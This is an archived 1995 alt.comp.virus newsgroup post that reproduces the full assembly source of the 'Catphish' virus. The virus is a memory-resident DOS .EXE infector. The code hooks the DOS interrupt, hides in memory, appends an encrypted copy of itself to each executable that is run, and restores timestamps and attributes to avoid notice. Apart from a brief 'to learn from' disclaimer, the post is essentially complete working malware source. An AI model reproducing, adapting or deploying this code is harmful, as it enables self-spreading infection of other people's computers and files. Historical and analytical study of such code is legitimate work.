home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / c / catphish.asm / text0000.txt < prev   
Encoding:
Text File  |  1998-01-14  |  12.6 KB  |  504 lines

  1.  
  2. To: joshuaw@pobox.jwu.edu
  3. Subject: (fwd) CATPHISH.ASM
  4. Newsgroups: alt.comp.virus
  5.  
  6. Path: paperboy.ids.net!uunet!cs.utexas.edu!uwm.edu!msunews!news.mtu.edu!news.mtu.edu!not-for-mail
  7. From: jdmathew@mtu.edu (Icepick)
  8. Newsgroups: alt.comp.virus
  9. Subject: CATPHISH.ASM
  10. Date: 26 Jan 1995 13:06:15 -0500
  11. Organization: Michigan Technological University
  12. Lines: 486
  13. Message-ID: <3g8oan$54g@maxwell11.ee>
  14. NNTP-Posting-Host: maxwell11.ee.mtu.edu
  15. X-Newsreader: TIN [version 1.2 PL1]
  16.  
  17.  
  18.  
  19. name    VIRUSTEST
  20.         title
  21. code    segment
  22.         assume  cs:code, ds:code, es:code
  23.         org     100h
  24.  
  25. ;-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  26. ;                        The Catphish Virus.
  27. ;
  28. ;   The Catphish virus is a resident .EXE infector.
  29. ;                Size: 678 bytes (decimal).
  30. ;                No activation (bomb).
  31. ;                Saves date and file attributes.
  32. ;
  33. ;         If assembling, check_if_resident jump must be marked over
  34. ;           with nop after first execution (first execution will hang
  35. ;           system).
  36. ;
  37. ;         *** Source is made available to learn from, not to
  38. ;               change author's name and claim credit! ***
  39.  
  40. start:
  41.         call    setup                             ; Find "delta offset".
  42. setup:
  43.         pop     bp
  44.         sub     bp, offset setup-100h
  45.         jmp     check_if_resident                 ; See note above about jmp!
  46.  
  47. pre_dec_em:
  48.         mov bx,offset infect_header-100h
  49.         add bx,bp
  50.         mov cx,endcrypt-infect_header
  51.  
  52. ror_em:
  53.         mov dl,byte ptr cs:[bx]
  54.         ror dl,1                                  ; Decrypt virus code
  55.         mov byte ptr cs:[bx],dl                   ;   by rotating right.
  56.         inc bx
  57.         loop ror_em
  58.  
  59.         jmp check_if_resident
  60.  
  61. ;--------------------------------- Infect .EXE header -----------------------
  62. ;   The .EXE header modifying code below is my reworked version of
  63. ;     Dark Angel's code found in his Phalcon/Skism virus guides.
  64.  
  65.  
  66. infect_header:
  67.           push bx
  68.           push dx
  69.           push ax
  70.  
  71.  
  72.  
  73.           mov     bx, word ptr [buffer+8-100h]    ; Header size in paragraphs
  74.                ;  ^---make sure you don't destroy the file handle
  75.           mov     cl, 4                           ; Multiply by 16.  Won't
  76.           shl     bx, cl                          ; work with headers > 4096
  77.                                                   ; bytes.  Oh well!
  78.           sub     ax, bx                          ; Subtract header size from
  79.           sbb     dx, 0                           ; file size
  80.     ; Now DX:AX is loaded with file size minus header size
  81.           mov     cx, 10h                         ; DX:AX/CX = AX Remainder DX
  82.           div     cx
  83.  
  84.  
  85.           mov     word ptr [buffer+14h-100h], dx  ; IP Offset
  86.           mov     word ptr [buffer+16h-100h], ax  ; CS Displacement in module
  87.  
  88.  
  89.           mov     word ptr [buffer+0Eh-100h], ax     ; Paragraph disp. SS
  90.           mov     word ptr [buffer+10h-100h], 0A000h ; Starting SP
  91.  
  92.           pop ax
  93.           pop dx
  94.  
  95.           add ax, endcode-start                   ; add virus size
  96.           cmp ax, endcode-start
  97.           jb fix_fault
  98.           jmp execont
  99.  
  100.  
  101. war_cry  db 'Cry Havoc, and let slip the Dogs of War!',0
  102. v_name   db '[Catphish]',0                        ; Virus name.
  103. v_author db 'FirstStrike',0                       ; Me.
  104. v_stuff  db 'Kraft!',0
  105.  
  106.  
  107. fix_fault:
  108.           add dx,1d
  109.  
  110. execont:
  111.           push ax
  112.           mov cl, 9
  113.           shr ax, cl
  114.           ror dx, cl
  115.           stc
  116.  
  117.           adc dx, ax
  118.           pop ax
  119.           and ah, 1
  120.  
  121.  
  122.           mov word ptr [buffer+4-100h], dx        ; Fix-up the file size in
  123.           mov word ptr [buffer+2-100h], ax        ; the EXE header.
  124.  
  125.           pop bx
  126.           retn                                    ; Leave subroutine
  127.  
  128. ;----------------------------------------------------------------------------
  129.  
  130.  
  131. check_if_resident:
  132.         push es
  133.         xor ax,ax
  134.         mov es,ax
  135.  
  136.         cmp word ptr es:[63h*4],0040h             ; Check to see if virus
  137.         jnz grab_da_vectors                       ;   is already resident
  138.         jmp exit_normal                           ;   by looking for a 40h
  139.                                                   ;   signature in the int 63h
  140.                                                   ;   offset section of
  141.                                                   ;   interrupt table.
  142.  
  143. grab_da_vectors:
  144.  
  145.         mov ax,3521h                              ; Store original int 21h
  146.         int 21h                                   ;   vector pointer.
  147.         mov word ptr cs:[bp+dos_vector-100h],bx
  148.         mov word ptr cs:[bp+dos_vector+2-100h],es
  149.  
  150.  
  151.  
  152. load_high:
  153.         push ds
  154.  
  155. find_chain:                                       ; Load high routine that
  156.                                                   ;   uses the DOS internal
  157.      mov ah,52h                                   ;   table function to find
  158.      int 21h                                      ;   start of MCB and then
  159.                                                   ;   scales up chain to
  160.      mov ds,es: word ptr [bx-2]                   ;   find top. (The code
  161.      assume ds:nothing                            ;   is long, but it is the
  162.                                                   ;   only code that would
  163.      xor si,si                                    ;   work when an infected
  164.                                                   ;   .EXE was to be loaded
  165. Middle_check:                                     ;   into memory.
  166.  
  167.      cmp byte ptr ds:[0],'M'
  168.      jne Check4last
  169.  
  170. add_one:
  171.      mov ax,ds
  172.      add ax,ds:[3]
  173.      inc ax
  174.  
  175.      mov ds,ax
  176.      jmp Middle_check
  177.  
  178. Check4last:
  179.      cmp byte ptr ds:[0],'Z'
  180.      jne Error
  181.      mov byte ptr ds:[0],'M'
  182.      sub word ptr ds:[3],(endcode-start+15h)/16h+1
  183.      jmp add_one
  184.  
  185. error:
  186.      mov byte ptr ds:[0],'Z'
  187.      mov word ptr ds:[1],008h
  188.      mov word ptr ds:[3],(endcode-start+15h)/16h+1
  189.  
  190.      push ds
  191.      pop ax
  192.      inc ax
  193.      push ax
  194.      pop es
  195.  
  196.  
  197.  
  198.  
  199.  
  200. move_virus_loop:
  201.         mov bx,offset start-100h                  ; Move virus into carved
  202.         add bx,bp                                 ;   out location in memory.
  203.         mov cx,endcode-start
  204.         push bp
  205.         mov bp,0000h
  206.  
  207. move_it:
  208.         mov dl, byte ptr cs:[bx]
  209.         mov byte ptr es:[bp],dl
  210.         inc bp
  211.         inc bx
  212.         loop move_it
  213.         pop bp
  214.  
  215.  
  216.  
  217. hook_vectors:
  218.  
  219.         mov ax,2563h                              ; Hook the int 21h vector
  220.         mov dx,0040h                              ;   which means it will
  221.         int 21h                                   ;   point to virus code in
  222.                                                   ;   memory.
  223.         mov ax,2521h
  224.         mov dx,offset virus_attack-100h
  225.         push es
  226.         pop ds
  227.         int 21h
  228.  
  229.  
  230.  
  231.  
  232.         pop ds
  233.  
  234.  
  235.  
  236. exit_normal:                                      ; Return control to
  237.         pop es                                    ;   infected .EXE
  238.         mov ax, es                                ;   (Dark Angle code.)
  239.         add ax, 10h
  240.         add word ptr cs:[bp+OrigCSIP+2-100h], ax
  241.  
  242.         cli
  243.         add ax, word ptr cs:[bp+OrigSSSP+2-100h]
  244.         mov ss, ax
  245.         mov sp, word ptr cs:[bp+OrigSSSP-100h]
  246.         sti
  247.  
  248.         xor ax,ax
  249.         xor bp,bp
  250.  
  251. endcrypt  label  byte
  252.  
  253.         db 0eah
  254. OrigCSIP dd 0fff00000h
  255. OrigSSSP dd ?
  256.  
  257. exe_attrib dw ?
  258. date_stamp dw ?
  259. time_stamp dw ?
  260.  
  261.  
  262.  
  263. dos_vector dd ?
  264.  
  265. buffer db 18h dup(?)                              ; .EXE header buffer.
  266.  
  267.  
  268.  
  269.  
  270. ;----------------------------------------------------------------------------
  271.  
  272.  
  273. virus_attack proc  far
  274.                assume cs:code,ds:nothing, es:nothing
  275.  
  276.  
  277.         cmp ax,4b00h                              ; Infect only on file
  278.         jz run_kill                               ;   executions.
  279.  
  280. leave_virus:
  281.         jmp dword ptr cs:[dos_vector-100h]
  282.  
  283.  
  284.  
  285. run_kill:
  286.         call infectexe
  287.         jmp leave_virus
  288.  
  289.  
  290.  
  291.  
  292.  
  293. infectexe:                                        ; Same old working horse
  294.         push ax                                   ;   routine that infects
  295.         push bx                                   ;   the selected file.
  296.         push cx
  297.         push es
  298.         push dx
  299.         push ds
  300.  
  301.  
  302.  
  303.         mov cx,64d
  304.         mov bx,dx
  305.  
  306. findname:
  307.         cmp byte ptr ds:[bx],'.'
  308.         jz o_k
  309.         inc bx
  310.         loop findname
  311.  
  312. pre_get_out:
  313.         jmp get_out
  314.  
  315. o_k:
  316.         cmp byte ptr ds:[bx+1],'E'                ; Searches for victims.
  317.         jnz pre_get_out
  318.         cmp byte ptr ds:[bx+2],'X'
  319.         jnz pre_get_out
  320.         cmp byte ptr ds:[bx+3],'E'
  321.         jnz pre_get_out
  322.  
  323.  
  324.  
  325.  
  326. getexe:
  327.         mov ax,4300h
  328.         call dosit
  329.  
  330.         mov word ptr cs:[exe_attrib-100h],cx
  331.  
  332.         mov ax,4301h
  333.         xor cx,cx
  334.         call dosit
  335.  
  336. exe_kill:
  337.         mov ax,3d02h
  338.         call dosit
  339.         xchg bx,ax
  340.  
  341.         mov ax,5700h
  342.         call dosit
  343.  
  344.         mov word ptr cs:[time_stamp-100h],cx
  345.         mov word ptr cs:[date_stamp-100h],dx
  346.  
  347.  
  348.  
  349.         push cs
  350.         pop ds
  351.  
  352.         mov ah,3fh
  353.         mov cx,18h
  354.         mov dx,offset buffer-100h
  355.         call dosit
  356.  
  357.         cmp word ptr cs:[buffer+12h-100h],1993h   ; Looks for virus marker
  358.         jnz infectforsure                         ;   of 1993h in .EXE
  359.         jmp close_it                              ;   header checksum
  360.                                                   ;   position.
  361. infectforsure:
  362.         call move_f_ptrfar
  363.  
  364.         push ax
  365.         push dx
  366.  
  367.  
  368.         call store_header
  369.  
  370.         pop dx
  371.         pop ax
  372.  
  373.         call infect_header
  374.  
  375.  
  376.         push bx
  377.         push cx
  378.         push dx
  379.  
  380.  
  381.         mov bx,offset infect_header-100h
  382.         mov cx,(endcrypt)-(infect_header)
  383.  
  384. rol_em:                                           ; Encryption via
  385.         mov dl,byte ptr cs:[bx]                   ;   rotating left.
  386.         rol dl,1
  387.         mov byte ptr cs:[bx],dl
  388.         inc bx
  389.         loop rol_em
  390.  
  391.         pop dx
  392.         pop cx
  393.         pop bx
  394.  
  395.         mov ah,40h
  396.         mov cx,endcode-start
  397.         mov dx,offset start-100h
  398.         call dosit
  399.  
  400.  
  401.         mov word ptr cs:[buffer+12h-100h],1993h
  402.  
  403.  
  404.         call move_f_ptrclose
  405.  
  406.         mov ah,40h
  407.         mov cx,18h
  408.         mov dx,offset buffer-100h
  409.         call dosit
  410.  
  411.         mov ax,5701h
  412.         mov cx,word ptr cs:[time_stamp-100h]
  413.         mov dx,word ptr cs:[date_stamp-100h]
  414.         call dosit
  415.  
  416. close_it:
  417.  
  418.  
  419.         mov ah,3eh
  420.         call dosit
  421.  
  422. get_out:
  423.  
  424.  
  425.         pop ds
  426.         pop dx
  427.  
  428. set_attrib:
  429.         mov ax,4301h
  430.         mov cx,word ptr cs:[exe_attrib-100h]
  431.         call dosit
  432.  
  433.  
  434.         pop es
  435.         pop cx
  436.         pop bx
  437.         pop ax
  438.  
  439.         retn
  440.  
  441. ;---------------------------------- Call to DOS int 21h ---------------------
  442.  
  443. dosit:                                            ; DOS function call code.
  444.         pushf
  445.         call dword ptr cs:[dos_vector-100h]
  446.         retn
  447.  
  448. ;----------------------------------------------------------------------------
  449.  
  450.  
  451.  
  452.  
  453.  
  454.  
  455.  
  456.  
  457.  
  458.  
  459. ;-------------------------------- Store Header -----------------------------
  460.  
  461. store_header:
  462.         les  ax, dword ptr [buffer+14h-100h]      ; Save old entry point
  463.         mov  word ptr [OrigCSIP-100h], ax
  464.         mov  word ptr [OrigCSIP+2-100h], es
  465.  
  466.         les  ax, dword ptr [buffer+0Eh-100h]      ; Save old stack
  467.         mov  word ptr [OrigSSSP-100h], es
  468.         mov  word ptr [OrigSSSP+2-100h], ax
  469.  
  470.         retn
  471.  
  472. ;---------------------------------------------------------------------------
  473.  
  474.  
  475.  
  476.  
  477.  
  478.  
  479. ;---------------------------------- Set file pointer ------------------------
  480.  
  481. move_f_ptrfar:                                    ; Code to move file pointer.
  482.         mov ax,4202h
  483.         jmp short move_f
  484.  
  485. move_f_ptrclose:
  486.         mov ax,4200h
  487.  
  488. move_f:
  489.         xor dx,dx
  490.         xor cx,cx
  491.         call dosit
  492.         retn
  493.  
  494. ;----------------------------------------------------------------------------
  495.  
  496.  
  497. endcode         label       byte
  498.  
  499. endp
  500.  
  501. code ends
  502. end  start
  503.  
  504.